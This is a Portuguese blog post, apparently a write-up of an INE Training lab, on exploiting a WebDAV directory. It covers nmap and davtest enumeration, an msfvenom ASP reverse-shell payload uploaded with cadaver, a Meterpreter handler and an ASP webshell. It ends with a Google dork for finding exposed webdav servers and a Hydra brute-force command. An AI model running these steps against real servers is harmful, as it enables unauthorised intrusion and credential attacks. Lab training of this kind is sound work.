Webdav Exploit - Webshell ASP

O que é Webdav? 

É um protocolo que permite o compartilhamento, a cópia e edição de arquivos através do servidor web. Quando descoberto o diretório /webdav durante um pentest/ataque, o webdav pode ser um vetor para explorar o servidor web. 

NMAP Geral 

nmap -Pn -sV [IP]


Enumeração de diretórios

dirb [url]


O laboratório fornece credencial para acesso ao diretório /webdav


NMAP Script to Webdav

nmap -Pn -p 80 --script http-webdav-scan [IP]


A vulnerabilidade do webdav consiste na permissão para upload de arquivos através do método PUT. Usando a ferramenta Davtest é possível confirmar a permissão para upload e execução de arquivos. Também é possível validar o tipo de arquivo que pode ser executado no diretório /webdav



O resultado da ferramenta Webdav confirma a permissão para upload e execução dos arquivos .html, .txt e .asp

MSFVenom to Reverse Shell

Usar o msfvenom para criar o payload da shell reversa. Aqui vale destacar que vou utilizar um payload Non-Meterpreter, ou seja, a conexão da shell reversa não depende do listener do Meterpreter e pode ser estabelecida com o listener do NCat. 

msfvenom -p windows/shell/reverse_tcp LHOST=[IP] LPORT=[IP] -f asp > rshell.asp

Cadaver to Exploit Webdav

A ferramenta Cadaver permite acessar o diretório Webdav e fazer o upload do arquivo. Na imagem abaixo é possível ver a sequência de uso da ferramenta. 

1 - comando cadaver [url] para acessar o diretório

2 - comandos disponíveis após o acesso

3 - upload do payload da shell reversa com o comando put [arquivo]


Nesse laboratório oferecido pelo INE Training, a shell reversa com o payload Non-Meterpreter gerado pelo msfvenom não funcionou. É necessário usar o payload para Meterpreter para estabelecer a conexão reversa. 

Usando o listening do Meterpreter exploit/multi/handler a conexão reversa é estabelecida. 




Web Shell ASP

A etapa seguinte é tentar executar uma web shell usando o payload disponível no Kali em /usr/share/webshells/webshell.asp


Feito o upload do payload no servidor com o Cadaver, basta executar a web shell. 


Execução de comandos e o resultado. 




Em uma busca rápida com Google Dork é possível encontrar servidores com o diretório webdav exposto. 

Google Dork: intitle:"Directory Listing For /" + inurl:webdav

Para explorar o Webdav e obter a shell é necessário credencial de acesso, e neste caso, é possível executar brute-force com o Hydra, conforme o comando abaixo: 

hydra -L /usr/share/wordlists/metasploit/common_users.txt -P /usr/share/wordlists/metasploit/common_passwords.txt [IP] http-get /webdav/ 

Comentários

Postagens mais visitadas